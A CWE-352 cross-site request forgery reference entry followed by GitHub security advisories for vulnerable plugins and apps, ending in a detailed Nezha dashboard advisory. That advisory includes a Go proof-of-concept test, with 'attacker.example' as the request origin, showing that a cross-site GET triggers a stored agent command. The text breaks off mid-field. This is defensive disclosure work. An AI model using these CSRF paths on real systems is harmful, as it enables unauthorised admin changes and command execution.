CWE-352
Weakness AllowedCross-Site Request Forgery
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Mapping guidance
This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.
While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.
Effectiveness: High
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Automated Static Analysis
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.
Effectiveness: Limited
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: SOAR Partial
Notes
Relationship
There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.
Theoretical
The CSRF topology is multi-channel:
Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
Intermediary (as user) to server (as victim). The activation point is an internal channel.
Content history
Contributed usability diagram concepts used by the CWE team.
updated Time_of_Introduction
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
updated Potential_Mitigations
Added demonstrative example for profile.
updated Demonstrative_Examples, Related_Attack_Patterns
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Description
updated Common_Consequences
updated Relationships
updated Potential_Mitigations, References
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated References, Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
updated References, Relationship_Notes, Research_Gaps
updated Relationships
updated Relationships
updated Relationships, Theoretical_Notes
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated References, Relationships
updated Mapping_Notes, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences, Description, Diagram
updated Detection_Factors, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Name, References, Relationships, Taxonomy_Mappings
15022 vulnerabilities reference this CWE, most recent first.
GHSA-8Q7H-74C4-RWVX
Vulnerability from github – Published: 2022-05-14 01:40 – Updated: 2022-05-14 01:40An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins&act=edit_info&act_type=add.
{
"affected": [],
"aliases": [
"CVE-2019-6249"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-13T15:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins\u0026act=edit_info\u0026act_type=add.",
"id": "GHSA-8q7h-74c4-rwvx",
"modified": "2022-05-14T01:40:18Z",
"published": "2022-05-14T01:40:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6249"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46149"
},
{
"type": "WEB",
"url": "http://www.iwantacve.cn/index.php/archives/109"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8Q82-2C4P-W6HP
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter.
{
"affected": [],
"aliases": [
"CVE-2020-23522"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-19T13:15:00Z",
"severity": "MODERATE"
},
"details": "Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter.",
"id": "GHSA-8q82-2c4p-w6hp",
"modified": "2022-05-24T17:39:26Z",
"published": "2022-05-24T17:39:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23522"
},
{
"type": "WEB",
"url": "https://github.com/pixelimity/pixelimity/issues/20"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/161276/Pixelimity-1.0-Cross-Site-Request-Forgery.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8Q98-72MQ-W92M
Vulnerability from github – Published: 2024-05-06 06:30 – Updated: 2024-07-03 18:39The MF Gig Calendar WordPress plugin through 1.2.1 does not have CSRF checks in some places, which could allow attackers to make logged in Contributors and above delete arbitrary events via a CSRF attack
{
"affected": [],
"aliases": [
"CVE-2024-3756"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-06T06:15:07Z",
"severity": "HIGH"
},
"details": "The MF Gig Calendar WordPress plugin through 1.2.1 does not have CSRF checks in some places, which could allow attackers to make logged in Contributors and above delete arbitrary events via a CSRF attack",
"id": "GHSA-8q98-72mq-w92m",
"modified": "2024-07-03T18:39:00Z",
"published": "2024-05-06T06:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3756"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/b28d0dca-2df1-4925-be81-dd9c46859c38"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8Q9M-G5J8-H6QR
Vulnerability from github – Published: 2024-09-27 15:30 – Updated: 2024-09-27 15:30A vulnerability was found in bg5sbk MiniCMS up to 1.11 and classified as problematic. This issue affects some unknown processing of the file post-edit.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions confusing version and file name information. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-9281"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-27T13:15:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in bg5sbk MiniCMS up to 1.11 and classified as problematic. This issue affects some unknown processing of the file post-edit.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions confusing version and file name information. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8q9m-g5j8-h6qr",
"modified": "2024-09-27T15:30:35Z",
"published": "2024-09-27T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9281"
},
{
"type": "WEB",
"url": "https://github.com/bg5sbk/MiniCMS/issues/51"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.278663"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.278663"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.411164"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8QCF-HJ98-Q7C6
Vulnerability from github – Published: 2026-10-12 18:31 – Updated: 2026-10-12 18:31Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.9.17.
{
"affected": [],
"aliases": [
"CVE-2026-108479"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T18:17:21Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.9.17.",
"id": "GHSA-8qcf-hj98-q7c6",
"modified": "2026-10-12T18:31:58Z",
"published": "2026-10-12T18:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108479"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/patreon-connect/vulnerability/wordpress-patreon-wordpress-plugin-1-9-17-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8QCJ-H873-C6WQ
Vulnerability from github – Published: 2025-04-04 18:31 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in CRM Perks WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms allows Cross Site Request Forgery. This issue affects WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms: from n/a through 1.1.3.
{
"affected": [],
"aliases": [
"CVE-2025-32269"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-04T16:15:38Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in CRM Perks WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms allows Cross Site Request Forgery. This issue affects WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms: from n/a through 1.1.3.",
"id": "GHSA-8qcj-h873-c6wq",
"modified": "2026-04-01T18:34:33Z",
"published": "2025-04-04T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32269"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cf7-zendesk/vulnerability/wordpress-wp-zendesk-for-contact-form-7-wpforms-elementor-formidable-and-ninja-forms-plugin-1-1-3-cross-site-request-forgery-csrf-to-settings-change-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8QFM-5JPX-JP3V
Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-20 00:00The WAVLINK Quantum D4G (WN531G3) running firmware version M31G3.V5030.200325 does not utilize anti-CSRF tokens, which, when combined with other issues (such as CVE-2022-35518), can lead to remote, unauthenticated command execution.
{
"affected": [],
"aliases": [
"CVE-2022-40623"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-13T21:15:00Z",
"severity": "HIGH"
},
"details": "The WAVLINK Quantum D4G (WN531G3) running firmware version M31G3.V5030.200325 does not utilize anti-CSRF tokens, which, when combined with other issues (such as CVE-2022-35518), can lead to remote, unauthenticated command execution.",
"id": "GHSA-8qfm-5jpx-jp3v",
"modified": "2022-09-20T00:00:31Z",
"published": "2022-09-14T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40623"
},
{
"type": "WEB",
"url": "https://youtu.be/cSileV8YbsQ?t=1028"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8QFM-M93Q-XC6C
Vulnerability from github – Published: 2025-01-07 12:31 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in AIpost AI WP Writer allows Cross Site Request Forgery.This issue affects AI WP Writer: from n/a through 3.8.4.4.
{
"affected": [],
"aliases": [
"CVE-2025-22297"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T11:15:13Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in AIpost AI WP Writer allows Cross Site Request Forgery.This issue affects AI WP Writer: from n/a through 3.8.4.4.",
"id": "GHSA-8qfm-m93q-xc6c",
"modified": "2026-04-01T18:33:02Z",
"published": "2025-01-07T12:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22297"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ai-wp-writer/vulnerability/wordpress-ai-wp-writer-plugin-3-8-4-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8QFR-9RMH-3HFC
Vulnerability from github – Published: 2022-06-21 00:00 – Updated: 2022-06-29 00:00The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack
{
"affected": [],
"aliases": [
"CVE-2022-1610"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-20T11:15:00Z",
"severity": "MODERATE"
},
"details": "The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack",
"id": "GHSA-8qfr-9rmh-3hfc",
"modified": "2022-06-29T00:00:24Z",
"published": "2022-06-21T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1610"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/88014da6-6179-4527-8f67-fbb610804d93"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8QHJ-4F8C-J8QG
Vulnerability from github – Published: 2026-06-10 13:39 – Updated: 2026-06-26 21:28Summary
The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.
If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.
Details
Source-to-sink chain:
- The dashboard registers the manual cron trigger as a GET route under the authenticated API group:
auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron))atcmd/dashboard/controller/controller.go:131-134. - JWT auth is cookie-enabled:
CookieName: "nz-jwt",SendCookie: true,CookieSameSite: http.SameSiteLaxMode, andTokenLookup: "header: Authorization, query: token, cookie: nz-jwt"atcmd/dashboard/controller/jwt.go:23-46. - The handler parses the route ID, loads the cron object, checks only normal object ownership via
cr.HasPermission(c), then callssingleton.ManualTrigger(cr)atcmd/dashboard/controller/cron.go:170-187. ManualTriggerimmediately runsCronTrigger(cr)()atservice/singleton/crontask.go:249-250.CronTriggerdispatches the stored command to online eligible agents vias.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})atservice/singleton/crontask.go:289-304after the owner/server check incronCanSendToServer(service/singleton/crontask.go:315-317).- Object authorization is user ownership/admin only:
Common.HasPermissionreturns true for admins or matchingUserIDatmodel/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.
False-positive screening:
- The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
- The route is authenticated, and the unauthenticated negative control failed with
ApiErrorUnauthorizedand dispatched no task. SameSite=Laxmitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.- The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
- The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.
PoC
Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:
- Negative control: cross-site-style GET without the
nz-jwtcookie. Expected result: response containsApiErrorUnauthorized; zero tasks are dispatched. - Positive proof: cross-site-style GET with the victim's
nz-jwtcookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream withId=7,Type=model.TaskTypeCommand, andData="touch /tmp/should-not-run".
Command run from a clean checkout of the tested tree:
cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs
var SwaggerInfo = struct {
Version string
}{Version: "test"}
EOF
cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
"github.com/patrickmn/go-cache"
"google.golang.org/grpc/metadata"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/pkg/i18n"
pb "github.com/nezhahq/nezha/proto"
"github.com/nezhahq/nezha/service/singleton"
)
type capturedTaskStream struct { tasks []*pb.Task }
func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }
func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
gin.SetMode(gin.TestMode)
db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
if err != nil { t.Fatal(err) }
if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }
singleton.DB = db
singleton.Loc = time.UTC
singleton.Cache = cache.New(time.Minute, time.Minute)
singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
singleton.ServerShared = singleton.NewServerClass()
singleton.CronShared = singleton.NewCronClass()
defer singleton.CronShared.Stop()
stream := &capturedTaskStream{}
server, ok := singleton.ServerShared.Get(200)
if !ok { t.Fatal("server missing from singleton") }
server.TaskStream = stream
cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
singleton.CronShared.Update(cronTask)
authMiddleware := initParams()
if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
if err != nil { t.Fatal(err) }
r := gin.New()
r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
auth := r.Group("", authMiddleware.MiddlewareFunc())
auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))
wNoCookie := httptest.NewRecorder()
reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
reqNoCookie.Header.Set("Origin", "https://attacker.example")
reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
r.ServeHTTP(wNoCookie, reqNoCookie)
if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }
w := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
req.Header.Set("Origin", "https://attacker.example")
req.Header.Set("Sec-Fetch-Site", "cross-site")
req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
r.ServeHTTP(w, req)
var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
dispatched := stream.tasks[0]
if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF
cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
"Replace": {
"/path/to/nezha/cmd/dashboard/docs/docs.go": "/tmp/nezha-docs-stub.go",
"/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go": "/tmp/nezha-cron-csrf-poc-test.go"
}
}
EOF
# Replace /path/to/nezha above with the local checkout path, then run:
go test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v
Observed output in this environment:
=== RUN TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET
--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)
PASS
ok github.com/nezhahq/nezha/cmd/dashboard/controller 0.019s
The -vet=off flag was only needed because this checkout lacks the generated cmd/dashboard/docs directory and Go vet still tries to chdir into the overlay-created package directory. The overlay includes a minimal docs package stub so the controller package can compile without generating Swagger files.
Cleanup:
rm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json
Impact
A remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user's browser navigate to /api/v1/cron/<known-id>/manual. If that cron task dispatches an agent command, the command is sent to the victim's online agent without the victim intentionally clicking the manual trigger in the dashboard.
Security impact is integrity and availability:
- Integrity: forced execution of a stored command on victim-controlled agents.
- Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.
- Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.
Suggested remediation
- Make manual cron triggering a non-idempotent method such as
POST /api/v1/cron/:id/manualinstead of GET. - Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with
Origin/Refererand Fetch Metadata validation. - Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.
- Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.
- If frontend compatibility requires cookies, keep
SameSite=Laxor stricter, but do not rely on it to protect state-changing GET routes.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49396"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-10T13:39:21Z",
"nvd_published_at": "2026-06-12T22:16:51Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe dashboard exposes the cron manual-trigger action as an authenticated `GET /api/v1/cron/:id/manual` endpoint. Dashboard JWTs are sent in the `nz-jwt` cookie and configured with `SameSite=Lax`, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim\u0027s browser to the manual-trigger URL.\n\nIf the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.\n\n### Details\nSource-to-sink chain:\n\n1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: `auth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))` at `cmd/dashboard/controller/controller.go:131-134`.\n2. JWT auth is cookie-enabled: `CookieName: \"nz-jwt\"`, `SendCookie: true`, `CookieSameSite: http.SameSiteLaxMode`, and `TokenLookup: \"header: Authorization, query: token, cookie: nz-jwt\"` at `cmd/dashboard/controller/jwt.go:23-46`.\n3. The handler parses the route ID, loads the cron object, checks only normal object ownership via `cr.HasPermission(c)`, then calls `singleton.ManualTrigger(cr)` at `cmd/dashboard/controller/cron.go:170-187`.\n4. `ManualTrigger` immediately runs `CronTrigger(cr)()` at `service/singleton/crontask.go:249-250`.\n5. `CronTrigger` dispatches the stored command to online eligible agents via `s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})` at `service/singleton/crontask.go:289-304` after the owner/server check in `cronCanSendToServer` (`service/singleton/crontask.go:315-317`).\n6. Object authorization is user ownership/admin only: `Common.HasPermission` returns true for admins or matching `UserID` at `model/common.go:44-56`. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.\n\nFalse-positive screening:\n\n- The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.\n- The route is authenticated, and the unauthenticated negative control failed with `ApiErrorUnauthorized` and dispatched no task.\n- `SameSite=Lax` mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.\n- The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.\n- The permission check still limits the triggered task to the 